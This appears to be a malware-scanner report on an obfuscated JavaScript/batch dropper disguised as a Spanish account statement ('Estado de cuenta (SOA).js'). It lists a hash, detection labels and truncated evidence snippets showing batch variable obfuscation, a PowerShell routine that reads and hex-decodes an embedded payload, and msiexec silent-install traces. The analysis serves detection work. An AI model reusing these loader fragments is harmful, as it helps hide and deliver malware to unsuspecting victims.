Suspicious ^80% Download

Estado de cuenta (SOA).js

Obfuscated batch, PowerShell, msiexec, C2

Batch fragmentation and junk-padding profileBatch extreme line-length bloat

SHA-256052930158bc4e129bcafd12332a817d0716d53818cb756c5e5cf7dd08ecedd6e

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Batch delayed variable expansion lines 1–12

1/*
2rem
3
4if not defined XCIMORIMWDJKL cd /d "%~dp0"
5setlocal EnableDelayedExpansion
6set "QXYUNW=SystemRoot"
7set "YINLAN=!%QXYUNW%!"
⋯5 lines

PowerShell reads source lines line 31

31:55… '';$t=[type]('IO.Fil'+'e');foreach($l in $t.$('Get'+'Method')(('Read'+'AllLines'),[type[]]@([string])).Invoke($null,@($p))){$i=$l.IndexOf('set '+[char]34+'IFZITB');if($i-ge0){$c=$l.Substring($i+11);if($c.End …

English function-word token "for" line 31

31:329… env:EIKL;$n=$h.Length/2;$b=New-Object byte[] $n;for($i=0;$i-lt$n;$i++){$b[$i]=[byte](([Convert]::('To'+'Byte')($h.Substring($i*2,2),16)+256-$k)%%25 …

msiexec unattended install switch line 227

227:1523… 2a9C1KLEuzSC/gujdvuX/e0/YDHjT47DUW5rKq77oy+DrCmXEAqNIug/WTAy8S3n/QN+GTmWn+dpC60OfIN8x9vjpJ+dUpqoj0XsVSHSCRqmH0toyvX86dxfW8XiC9x7Bs0N8+GzrSDfLVzhj3mzPtSimY3RoBtQCu+p03Wg8rx9rI3nAD2YG7gEGsCIZfpqrFD …

English function-word token "this" lines 557–560

557:3… r WLROQGNK = CNKGHUP.charAt(3395);
558var OOTRQ = this[OSPLQDRW][DURA](ANZAN);
559var FTBKZIBE = OOTRQ[VTLARR](ZDHPPAHN);
560FTBKZIBE("KJIIGJS") = this[OS …